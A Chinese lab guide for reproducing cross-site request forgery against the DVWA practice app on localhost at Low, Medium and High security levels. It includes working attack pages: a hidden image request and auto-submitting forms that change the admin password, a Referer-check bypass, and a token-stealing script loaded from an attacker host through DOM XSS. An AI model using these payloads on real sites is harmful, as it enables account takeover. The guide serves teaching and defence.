DVWA跨站请求伪造漏洞检测实验

一、实验目的

  1. 掌握跨站请求伪造漏洞的形成的原因或者条件;

  2. 掌握跨站请求伪造漏洞的的利用方法;

  3. 掌握跨站请求伪造漏洞的防范方法。

二、实验原理

CSRF 是攻击者利用用户的名义进行某些非法操作,其是在用户已经与具有 CSRF 漏洞的 WEB 服务器已经建立了会话,在不知情的情况下点击了诈骗的链 接,而 WEB 应用程序没有对用户提交的请求进行验证,导致执行了非法操作。

三、实验环境(同机模拟双机)

1. 受害站(DVWA)

软件:phpstudy2018

地址示例:http://127.0.0.1/dvwa/

2. 攻击站(恶意页面)

软件:phpstudy_pro

地址示例:http://127.0.0.1:8888/

核心思想:虽然是同一台机器,但端口不同,浏览器会把它们视为不同源:

127.0.0.1 → 受害站

127.0.0.1:8888 → 攻击站

四、实验前准备

1. 配置 phpstudy2018(受害站)

启动 phpstudy2018服务,将DVWA 解压到 phpstudy2018 网站根目录D:\phpStudy\PHPTutorial\WWW\dvwa,并安装。

2. 配置 phpstudy_pro(攻击站)

启动 phpstudy_pro,启动 Web 服务。

3. 验证两个站点都能访问

启动Burpsuite,访问两个站点,如果都能正常打开,说明环境可用。

受害站访问:http://127.0.0.1/dvwa/

攻击站访问:http://127.0.0.1:8888/

五、Low 级别 CSRF 实验

1. 设置 DVWA 为 Low

登录 DVWA 后,点击左侧:DVWA Security

把安全级别改成:Low,提交保存。

2. 观察正常修改密码请求

进入:CSRF

在页面中输入新密码,并再次确认输入,例:

• New Password: 123456

• Confirm New Password: 123456

点击 Change,观察地址栏显示:

http://127.0.0.1:8081/dvwa/vulnerabilities/csrf/?password_new=123456\&password_conf=123456\&Change=Change

这说明:

• 修改密码使用 GET 请求

• 参数名是:

o password_new

o password_conf

o Change

Low 级别下没有额外防护。

单击Test Credentials,进入密码验证页面

输入用户名admin和修改后的密码测试:

3. 构造 Low 攻击页面

启动vscode,在攻击站根目录www 中创建:low.html

内容如下:

<!DOCTYPE html>

<html>

<head>

<meta charset="utf-8">

<title>领奖页面</title>

</head>

<body>

<h2>恭喜你中奖了!</h2>

<p>页面加载中,请稍候......</p>

<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=**lowpass** &password_conf=lowpass &Change=Change" style="display:none;">

</body>

</html>

提交截图,截图包含vscode中的文档目录和代码内容,并对实验结果进行分析。

  1. 项目目录:www站点根目录下存在low.html,和 DVWA 项目同级,攻击文件部署在攻击站点网站目录;
  2. 代码实现:利用隐藏<img>标签,src属性直接拼接完整改密 GET 接口,display:none;实现页面不可见、后台静默发送请求,页面展示中奖诱导文案欺骗用户访问。

4. 触发攻击

确保当前浏览器里仍然保持 DVWA 登录状态,然后访问攻击页:

http://127.0.0.1:8888/low.html

页面加载时,img 会自动向 DVWA 发起请求。

浏览器会自动附带 DVWA 的 Cookie,所以服务器会认为这是登录用户本人发起的操作。

5. 验证结果

单击Test Credentials,进入密码验证页面,输入用户名admin,密码lowpass

若显示Valid password for 'admin' **,**说明 Low 级别漏洞复现成功。

若显示**Wrong password for 'admin',**说明攻击无效,可更换payload:

<!DOCTYPE html>

<html>

<head>

<meta charset="utf-8">

<meta name="referrer" content="unsafe-url">

<title> 系统消息</title>

</head>

<body>

<h3> 正在进行安全检测...</h3>

<form id="csrfForm" action="http://127.0.0.1/dvwa/vulnerabilities/csrf/" method="GET">

<input type="hidden" name="password_new" value=" lowpass ">

<input type="hidden" name="password_conf" value=" lowpass ">

<input type="hidden" name="Change" value="Change">

</form>

<script>

document.getElementById('csrfForm').submit();

</script>

</body>

</html>

再次测试,成功后提交Burpsuite中修改密码的请求截图,并对实验结果进行分析。

一、Low 级别实验结果分析

  1. 实验现象

攻击页面使用 img 标签或自动提交表单访问改密接口,保持 DVWA 登录状态访问127.0.0.1:8888/low.html后,admin 账户密码成功修改为lowpass,密码校验页面验证通过;Burp 抓包可见跨域请求自动携带 DVWA 会话 Cookie。

六、Medium 级别 CSRF 实验

1. 设置 DVWA 为 Medium

回到:DVWA Security,把安全级别设为:Medium保存。

2. Medium 级别的防护特点

Medium 一般会增加对 Referer 的简单检查。

它的逻辑常见形式是:

if (stripos(_SERVER\['HTTP_REFERER'\], _SERVER'SERVER_NAME') !== false)

3.构造 Medium 攻击页面

创建medium.html

内容如下:

<!DOCTYPE html>

<html>

<head>

<meta charset="utf-8">

<meta name="referrer" content="unsafe-url">

<title> 系统消息</title>

</head>

<body>

<h3> 正在进行安全检测...</h3>

<form id="csrfForm" action="http://127.0.0.1/dvwa/vulnerabilities/csrf/" method="GET">

<input type="hidden" name="password_new" value=" mediumpass ">

<input type="hidden" name="password_conf" value=" mediumpass ">

<input type="hidden" name="Change" value="Change">

</form>

<script>

document.getElementById('csrfForm').submit();

</script>

</body>

</html>

4. 触发 Medium 攻击

保持 DVWA 登录状态,访问:http://127.0.0.1:8888/medium.html

若 DVWA 的 Medium 仅做弱 Referer 检查,则该请求很可能成功。

5. 验证结果

单击Test Credentials,进入密码验证页面,输入用户名admin,密码mediumpass

测试,成功后提交Burpsuite中修改密码的请求截图,并对实验结果进行分析。

第一次实验结果分析(直接 medium.html 访问成功原因)

  1. 防护机制缺陷

DVWA-Medium 仅用stripos做子串模糊匹配,只校验 Referer 里是否存在站点 IP 字符串,不校验端口、完整域名路径。

  1. 页面 meta 标签作用:<meta name="referrer" content="unsafe-url">,保证浏览器完整携带 Referer 来源地址,Referer 正常带出攻击页全链接,没有丢失 IP 字段,是攻击成功的辅助条件。
  2. 实验结论:Medium 的 Referer 子串校验方案天然存在漏洞,同 IP、不同端口的 CSRF 请求可直接绕过防护,初次访问即可完成密码篡改。

修改攻击地址为:本机ip:8888/medium.html,再次测试,查看是否成功。

若不成功,则将medium.html文件名修改为127.0.0.1.html。再次测试。

再次测试,成功后提交Burpsuite中修改密码的请求截图,并对实验结果进行分析。

第二次实验结果分析(修改文件名 127.0.0.1.html)

  1. 现象:将文件名改为127.0.0.1.html,Referer 变为http://127.0.0.1:8888/127.0.0.1.html,Referer 内重复出现目标 IP 字符串,同样满足stripos匹配,攻击依旧成功。
  2. 对比总结:
  • 第一次成功:根源是同 IP 跨端口 + 模糊匹配校验,Referer 自带目标 IP 字段;
  • 第二次是另一种绕过思路:文件名写入目标 IP,即使跨网段 / 跨 IP 环境,也能让 Referer 包含目标 IP 实现绕过。

七、High 级别 CSRF 实验

1. 受害机中设置 DVWA 为 High

进入:DVWA Security,设置为:High,保存。

2. 观察 High 页面差异

进入 CSRF 页面后,查看源码或用开发者工具检查表单。

通常可以看到一个隐藏字段:

<input type="hidden" name="user_token" value="xxxxxxxxxxxxxxxx">

这说明 High 已引入 CSRF Token 防护。

3. 结合 XSS 读取 Token

Token 防御使得纯 CSRF 无法直接利用。需要配合同域 XSS 漏洞,若攻击者能在 DVWA 同域下执行 JavaScript,就可以请求 CSRF 页面、读取页面中的 user_token、携带 Token 发起修改密码请求。

在攻击机根目录创建csrf.js文件,内容为:

// 第一步:获取 CSRF 页面,从中提取 user_token

var xhr1 = new XMLHttpRequest();

xhr1.onreadystatechange = function() {

if (xhr1.readyState == 4 && xhr1.status == 200) {

// 解析 HTML,提取 token

var parser = new DOMParser();

var doc = parser.parseFromString(xhr1.responseText, "text/html");

var token = doc.getElementsByName("user_token")0.value;

// 第二步:携带 token 发起修改密码请求

var url = "http://127.0.0.1/dvwa/vulnerabilities/csrf/"

+ "?password_new= csrf123 &password_conf= csrf123 "

+ "&Change=Change&user_token=" + token;

var xhr2 = new XMLHttpRequest();

xhr2.open("GET", url, true);

xhr2.withCredentials = true;

xhr2.send();

}

};

xhr1.open("GET", "http://127.0.0.1/dvwa/vulnerabilities/csrf/", true);

xhr1.withCredentials = true;

xhr1.send();

在受害机中进入xss(DOM),在地址栏中生成攻击链接,并提交:

http://127.0.0.1/dvwa/vulnerabilities/xss_d/?#default=\<script src="http://127.0.0.1:8888/csrf.js"></script>

4. 验证结果

在受害机中进入CSRF,单击Test Credentials,进入密码验证页面,输入用户名admin,密码csrf123

如果成功,说明 High 级绕过成功。

测试,提交Burpsuite中修改密码的请求截图,并对实验结果进行分析。

三、High 级别实验结果分析

  1. 实验现象分析

单独使用 Low/Medium 的 CSRF 页面无法修改密码;利用 DOM-XSS 引入远程csrf.js脚本,JS 在 DVWA 同域环境运行,自动抓取页面user_token并拼接参数提交,密码成功修改为csrf123。Burp 数据包中改密请求携带合法随机 token 与会话 Cookie。

相关推荐
行者-全栈开发2 小时前
【智慧防洪】水利物联网监测网络设计:从传感器选型到边缘计算的完整实践
物联网·网络安全·lora·边缘计算·nb-iot·mqtt 协议·传感器选型
X7x54 小时前
可信计算架构:数字时代的安全基石
网络安全·网络攻击模型·安全威胁分析·安全架构·可信计算架构
青藤云安全5 小时前
主机安全体系化建设与合规实战指南
网络安全·企业安全·云安全·主机安全·终端安全
lcreek15 小时前
SQL 注入实战:DVWA Medium完整测试指南
网络安全·sql注入
持敬chijing19 小时前
Web渗透之SQL注入-二次注入(Second-Order SQL Injection)
sql·安全·web安全·网络安全·网络攻击模型·安全威胁分析
laoli_coding21 小时前
数据机密性保护算法汇总(国际算法)
安全·网络安全·密码学
X7x51 天前
零信任架构:重塑数字时代安全边界的战略转型
网络安全·网络攻击模型·安全威胁分析·安全架构·零信任架构
锐速网络1 天前
CDN加速服务怎么选?主流CDN加速平台横向对比(2026实战版)
网络安全·网络加速·高防cdn·cdn选型·cdn对比·企业级cdn
超级无敌zhq1 天前
内网横向移动实战:从单点攻破到域控沦陷
网络·安全·web安全·网络安全